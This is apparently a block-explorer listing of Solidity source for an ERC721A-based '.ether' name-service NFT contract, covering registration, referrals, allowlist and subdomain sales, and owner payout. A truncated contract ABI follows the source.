    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return uint256(_addressData[owner].balance);
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        return uint256(_addressData[owner].numberBurned);
    }

    /**
     * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        return _addressData[owner].aux;
    }

    /**
     * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal {
        _addressData[owner].aux = aux;
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr) if (curr < _currentIndex) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (!ownership.burned) {
                    if (ownership.addr != address(0)) {
                        return ownership;
                    }
                    // Invariant:
                    // There will always be an ownership that has an address and is not burned
                    // before an ownership that does not have an address and is not burned.
                    // Hence, curr will not underflow.
                    while (true) {
                        curr--;
                        ownership = _ownerships[curr];
                        if (ownership.addr != address(0)) {
                            return ownership;
                        }
                    }
                }
            }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return _ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenIDandAddress[tokenId])) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        if (to == owner) revert ApprovalToCurrentOwner();

        if (_msgSender() != owner) if(!isApprovedForAll(owner, _msgSender())) {
            revert ApprovalCallerNotOwnerNorApproved();
        }

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        if (operator == _msgSender()) revert ApproveToCaller();

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, '');
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public virtual override {
        _transfer(from, to, tokenId);
        if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) {
            revert TransferToNonERC721ReceiverImplementer();
        }
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned;
    }

    /**
     * @dev Equivalent to `_safeMint(to, quantity, '')`.
     */
    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, '');
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement
     *   {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
        // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint64(quantity);
            _addressData[to].numberMinted += uint64(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;
            uint256 end = updatedIndex + quantity;

            if (to.isContract()) {
                do {
                    emit Transfer(address(0), to, updatedIndex);
                    if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (updatedIndex < end);
                // Reentrancy protection
                if (_currentIndex != startTokenId) revert();
            } else {
                do {
                    emit Transfer(address(0), to, updatedIndex++);
                } while (updatedIndex < end);
            }
            _currentIndex = updatedIndex;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(address to, uint256 quantity) internal {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
        // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint64(quantity);
            _addressData[to].numberMinted += uint64(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;
            uint256 end = updatedIndex + quantity;

            do {
                emit Transfer(address(0), to, updatedIndex++);
            } while (updatedIndex < end);

            _currentIndex = updatedIndex;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = _ownershipOf(tokenId);

        if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();

        bool isApprovedOrOwner = (_msgSender() == from ||
            isApprovedForAll(from, _msgSender()) ||
            getApproved(tokenId) == _msgSender());

        if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, from);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            TokenOwnership storage currSlot = _ownerships[tokenId];
            currSlot.addr = to;
            currSlot.startTimestamp = uint64(block.timestamp);

            
            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            TokenOwnership storage nextSlot = _ownerships[nextTokenId];
            if (nextSlot.addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId != _currentIndex) {
                    nextSlot.addr = from;
                    nextSlot.startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Equivalent to `_burn(tokenId, false)`.
     */
    function _burn(uint256 tokenId) internal virtual {
        _burn(tokenId, false);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
        TokenOwnership memory prevOwnership = _ownershipOf(tokenId);

        address from = prevOwnership.addr;

        if (approvalCheck) {
            bool isApprovedOrOwner = (_msgSender() == from ||
                isApprovedForAll(from, _msgSender()) ||
                getApproved(tokenId) == _msgSender());

            if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
        }

        _beforeTokenTransfers(from, address(0), tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, from);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            AddressData storage addressData = _addressData[from];
            addressData.balance -= 1;
            addressData.numberBurned += 1;

            // Keep track of who burned the token, and the timestamp of burning.
            TokenOwnership storage currSlot = _ownerships[tokenId];
            currSlot.addr = from;
            currSlot.startTimestamp = uint64(block.timestamp);
            currSlot.burned = true;

            // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            TokenOwnership storage nextSlot = _ownerships[nextTokenId];
            if (nextSlot.addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId != _currentIndex) {
                    nextSlot.addr = from;
                    nextSlot.startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, address(0), tokenId);
        _afterTokenTransfers(from, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
            return retval == IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     * And also called after one token has been burned.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}





pragma solidity ^0.8.4;






contract Ether is ERC721A, Ownable, ReentrancyGuard {
    using Strings for uint256;
    uint256 public cost = 50000000000000000;
    uint256 public ref = 20;
    uint256 public ref_owner = 30;
    uint256 public ref_discount = 20;
    uint256 public subdomains_fee = 10;
    uint256 private maxCharSize=20;
    
    string private domain='.ether';

    string private BASE_URI = 'https://metadata.ethername.domains/metadata/';
    bool public IS_SALE_ACTIVE = false;
    bool public IS_ALLOWLIST_ACTIVE = false;
    mapping(address => bool) public allowlistAddresses;
    mapping(string => mapping(address => bool)) public subDomains_allowlistAddresses;
    mapping(string => address) public resolveAddress;
    mapping(address => string) public primaryAddress;
    mapping(string => bool) public subDomains_publicSale;
    mapping(string => uint) public subDomains_cost;
    mapping(string => bytes32) public subDomains_allowList;
    mapping(string => uint) public subDomains_allowList_cost;
    mapping(string => mapping(string => string)) public dataAddress;
    bytes32 public merkleRoot;
    bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz";
    constructor() ERC721A(".ether Name Service", ".ether") {
        tokenIDandAddress[_currentIndex]="ether";
        tokenAddressandID["ether"]=_currentIndex;
        resolveAddress["ether"]=msg.sender;
        _safeMint(msg.sender,1);
    }

    
    function _baseURI() internal view virtual override returns (string memory) {
        return BASE_URI;
    }

    function setAddress(string calldata ether_name, address newresolve) external {
         TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]);
        if (Ownership.addr != msg.sender) revert("Error");
        

    bytes memory result = bytes(primaryAddress[resolveAddress[ether_name]]);
        if (keccak256(result) == keccak256(bytes(ether_name))) {
            primaryAddress[resolveAddress[ether_name]]="";
        }
        resolveAddress[ether_name]=newresolve;
    }

    function setPrimaryAddress(string calldata ether_name) external {
        require(resolveAddress[ether_name]==msg.sender, "Error");
        primaryAddress[msg.sender]=ether_name;
    }


    function setDataAddress(string calldata ether_name,string calldata setArea, string  memory newDatas) external {
         TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]);

        if (Ownership.addr != msg.sender) revert("Error");
        dataAddress[ether_name][setArea]=newDatas;
    }

    function getDataAddress(string memory ether_name, string calldata Area) public view returns(string memory) {
        return dataAddress[ether_name][Area];
    }


    function setBaseURI(string memory customBaseURI_) external onlyOwner {
        BASE_URI = customBaseURI_;
    }

    function setMaxCharSize(uint256 maxCharSize_) external onlyOwner {
        maxCharSize = maxCharSize_;
    }
    
     function setAllowChars(bytes memory allwchr) external onlyOwner {
        _allowChars = allwchr;
    }

    function setPrice(uint256 customPrice) external onlyOwner {
        cost = customPrice;
    }

    function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner {
        ref = ref_;
        ref_owner = ref_owner_;
        ref_discount = ref_discount_;
        subdomains_fee = subdomains_fee_;

    }


    function setSaleActive(bool saleIsActive) external onlyOwner {
        IS_SALE_ACTIVE = saleIsActive;
    }

     function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner {
        IS_ALLOWLIST_ACTIVE = WhitesaleIsActive;
    }

    function setSubdomainSaleActive(bool saleIsActive, uint256 customPrice, string calldata ether_name) public {
        TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]);
        require(Ownership.addr == msg.sender, "Invalid");
        subDomains_cost[ether_name] = customPrice;
        subDomains_publicSale[ether_name] = saleIsActive;

    }

    function register(address ref_address, string memory ether_name)
        public
        payable
    {   
        uint256 price = cost;
        bool is_ref=false;
        uint256 ref_cost=0;
        require(bytes(ether_name).length<=maxCharSize,"Long name");
        require(bytes(ether_name).length>0,"Write a name");
        require(_checkName(ether_name), "Invalid name");
        if (ref_address== 0x0000000000000000000000000000000000000000) {
        price=cost;
        } else {
        if (bytes(primaryAddress[ref_address]).length>0){
        ref_cost=price*ref_owner/100;    
        } else {
        ref_cost=price*ref/100;
        }
        price = price*(100-ref_discount)/100;
        is_ref=true;
        }
        require (tokenAddressandID[ether_name] == 0 , "This is already taken"); 
        require(IS_SALE_ACTIVE, "Sale is not active!");
        require(msg.value >= price, "Insufficient funds!");
        tokenIDandAddress[_currentIndex]=ether_name;
        tokenAddressandID[ether_name]=_currentIndex;
        resolveAddress[ether_name]=msg.sender;
         if (is_ref) {
        payable(ref_address).transfer(ref_cost);
        }
        _safeMint(msg.sender,1);
    }

     function allowList(string memory ether_name, bytes32[] calldata _merkleProof)
        public
        payable
    {      
            require(IS_ALLOWLIST_ACTIVE, "Allow List sale is not active!");
            bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
            require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid proof!");
            require(bytes(ether_name).length<=maxCharSize,"Long name");
            require(bytes(ether_name).length>0,"Write a name");
            require(_checkName(ether_name), "Invalid name");
            require(allowlistAddresses[msg.sender]!=true, "Claimed!");
            require (tokenAddressandID[ether_name] == 0 , "This is already taken"); 
            allowlistAddresses[msg.sender] = true;
            tokenIDandAddress[_currentIndex]=ether_name;
            tokenAddressandID[ether_name]=_currentIndex;
            resolveAddress[ether_name]=msg.sender;
            _safeMint(msg.sender,1);
    }


    function registerSubdomain(string memory ether_name, string memory subdomain_name)
        public
        payable
    {   
        require(IS_SALE_ACTIVE, "Sale is not active!");
        string memory new_domain=string.concat(subdomain_name,'.',ether_name);
        require(bytes(subdomain_name).length<=maxCharSize,"Long name");
        require(bytes(subdomain_name).length>0,"Write a name");
        require(_checkName(ether_name), "Invalid name");
        require(_checkName(subdomain_name), "Invalid name");
        require (tokenAddressandID[new_domain] == 0 , "This is already taken"); 
  
        TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]);
        if (Ownership.addr == msg.sender)
        {
        tokenIDandAddress[_currentIndex]=new_domain;
        tokenAddressandID[new_domain]=_currentIndex;
        resolveAddress[new_domain]=msg.sender; 
        _safeMint(msg.sender,1);   
        } else {
        require(subDomains_publicSale[ether_name]==true, "Only Owner can register");
        require(msg.value >= subDomains_cost[ether_name], "Insufficient funds!");
        payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100);
        tokenIDandAddress[_currentIndex]=new_domain;
        tokenAddressandID[new_domain]=_currentIndex;
        resolveAddress[new_domain]=msg.sender;
        _safeMint(msg.sender,1);       
        }
    }


    function allowListSubdomain(string memory ether_name,  string memory subdomain_name, bytes32[] calldata _merkleProof)
        public
        payable
    {      
            string memory new_domain=string.concat(subdomain_name,'.',ether_name);
            bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
            require(MerkleProof.verify(_merkleProof, subDomains_allowList[ether_name], leaf),"Invalid proof!");
            require(msg.value >= subDomains_allowList_cost[ether_name], "Insufficient funds!");


            require(bytes(subdomain_name).length<=maxCharSize,"Long name");
            require(bytes(subdomain_name).length>0,"Write a name");
            require(_checkName(ether_name), "Invalid name");
            require(_checkName(subdomain_name), "Invalid name");
            require(subDomains_allowlistAddresses[ether_name][msg.sender]!=true, "Claimed!");
            require (tokenAddressandID[new_domain] == 0 , "This is already taken"); 
            TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]);
            payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100);
            subDomains_allowlistAddresses[ether_name][msg.sender] = true;
            tokenIDandAddress[_currentIndex]=new_domain;
            tokenAddressandID[new_domain]=_currentIndex;
            resolveAddress[new_domain]=msg.sender;
            _safeMint(msg.sender,1);
    }

    
    function namediff(uint256 tokenId , string calldata new_ether_name) external onlyOwner {
        tokenIDandAddress[tokenId]=new_ether_name;
        tokenAddressandID[new_ether_name]=tokenId;
    }


function walletOfOwnerName(address _owner)
    public
    view
    returns (string[] memory)
  {
    uint256 ownerTokenCount = balanceOf(_owner);
    string[] memory ownedTokenIds = new string[](ownerTokenCount);
    uint256 currentTokenId = 1;
    uint256 ownedTokenIndex = 0;

    while (ownedTokenIndex < ownerTokenCount) {
      address currentTokenOwner = ownerOf(currentTokenId);

      if (currentTokenOwner == _owner) {
        ownedTokenIds[ownedTokenIndex] = string.concat(tokenIDandAddress[currentTokenId],domain);

        ownedTokenIndex++;
      }

      currentTokenId++;
    }

    return ownedTokenIds;
  }


function lastAddresses(uint256 count)
    public
    view
    returns (string[] memory)
  {
    uint256 total = totalSupply();
    string[] memory lastAddr = new string[](count);
    uint256 currentId = total - count;
    uint256 ownedTokenIndex = 0;
    require(currentId>=0,"Invalid");
    while (total > currentId) {
        lastAddr[ownedTokenIndex] = string.concat(tokenIDandAddress[total],domain);
        ownedTokenIndex++;
      total--;
    }

    return lastAddr;
  }


function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner {
        merkleRoot = _newMerkleRoot;
    }

function setMerkleRootSubdomain(bytes32 _newMerkleRoot, string memory ether_name, uint256 _cost) external {
      TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ether_name]);
        if (Ownership.addr != msg.sender) revert("Error");

        subDomains_allowList[ether_name] = _newMerkleRoot;
        subDomains_allowList_cost[ether_name] = _cost;
    }
    


 function _checkName(string memory _name) public view returns(bool){
        uint allowedChars =0;
        bytes memory byteString = bytes(_name);
        bytes memory allowed = bytes(_allowChars);  
        for(uint i=0; i < byteString.length ; i++){
           for(uint j=0; j<allowed.length; j++){
              if(byteString[i]==allowed[j] )
              allowedChars++;         
           }
        }
        if (allowedChars==byteString.length) { return true; } else { return false; }
       
    }

        /** PAYOUT **/

    function withdraw() public onlyOwner nonReentrant {
        uint256 balance = address(this).balance;
        Address.sendValue(payable(0x12276DAC0C791d11e2F9166A2B67e3DE45394c69),balance);
        }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IS_ALLOWLIST_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IS_SALE_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"_checkName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowList","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowListSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"}],"name":"dataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"string","name":"Area","type":"string"}],"name":"getDataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"lastAddresses","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"string","name":"new_ether_name","type":"string"}],"name":"namediff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"primaryAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_discount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_owner","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref_address","type":"address"},{"internalType":"string","name":"ether_name","type":"string"}],"name":"register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"}],"name":"registerSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"resolveAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"address","name":"newresolve","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalT